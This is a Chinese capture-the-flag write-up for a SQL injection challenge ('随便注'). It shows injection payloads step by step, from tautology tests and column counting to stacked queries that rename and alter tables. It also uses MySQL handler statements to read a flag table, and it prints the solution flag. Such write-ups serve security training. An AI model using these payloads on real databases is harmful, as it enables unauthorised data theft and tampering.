BUUCTF-[强网杯 2019]随便注
题目
题解
打开靶场,进入到靶场环境
正常的提交数据,可查询出信息
查看源码:
发现sqlmap可能行不通
返回靶场
测试验证是否存在注入
?inject=1'
出现报错信息
使用万能钥匙,看是否能爆出数据信息
?inject=1' or 1=1--+
成功回显,暴露出了数据信息
判断字段的个数
/?inject=1' order by 3--+
输入3报错,将3换成2,若不报错,则说明该表有2列字段
更换后:
成功回显
判断回显点
发现以上关键字都被过滤掉,无法查询数据。
尝试堆叠注入:
在SQL中,分号(;)是用来表示一条sql语句的结束。我们尝试在;结束后继续构造语句,观察会不会一起执行。堆叠注入可以执行任意的语句。
/?inject=1';show databases; 查看全部数据库
查看当前数据库的数据表
/?inject=1';show tables;
查看表中有哪些字段
desc tablename或
show columns from table tablename
注意:表名如为数字时候,使用``引用,否则不能正常查看信息
查看表的字段信息,发现flag,但是我们没有办法查看flag的内容,我们再看看words表中的数据字段
show columns from tablename 查询表中的字段信息(列的信息)
观察发现,我们查出来的数据,可能就是words表当中的数据,我们可以将1919810931114514
表改名,改为words,将flag字段改为id,然后在使用万能钥匙爆数据。
首先,正常是查words表的数据,我们先将words表重命名成别的,名字任意。使用可rename改表名或alter
alter命令格式:
修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
rename命令格式:rename table 原表名 to 新表名;
其次,再把1919810931114514
表改名为words,再把flag字段改为id
最后,使用万能钥匙,爆表的数据
payload:
?inject=1';rename table words to word;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
再次查看数据表:
发现表名已经被修改,然后使用万能钥匙进行爆数据
?inject=1' or 1=1--+
成功获取flag
本题flag为:
flag{
a1a228e9-fc3d-4e3e-97c4-17ee692fedd5}
方法二:
使用handler函数
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
当selecet等关键字被过滤掉时,可尝试使用此方法进行查询
handler tablename open;打开表
handler tablename read first或next;读取第一行或下一行
handler tablename close;关闭表
本题用法:
payload:
?inject=1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;
成功获取flag
其他方式也可绕过,编码等方式均可
文章不妥之处,欢迎批评指正!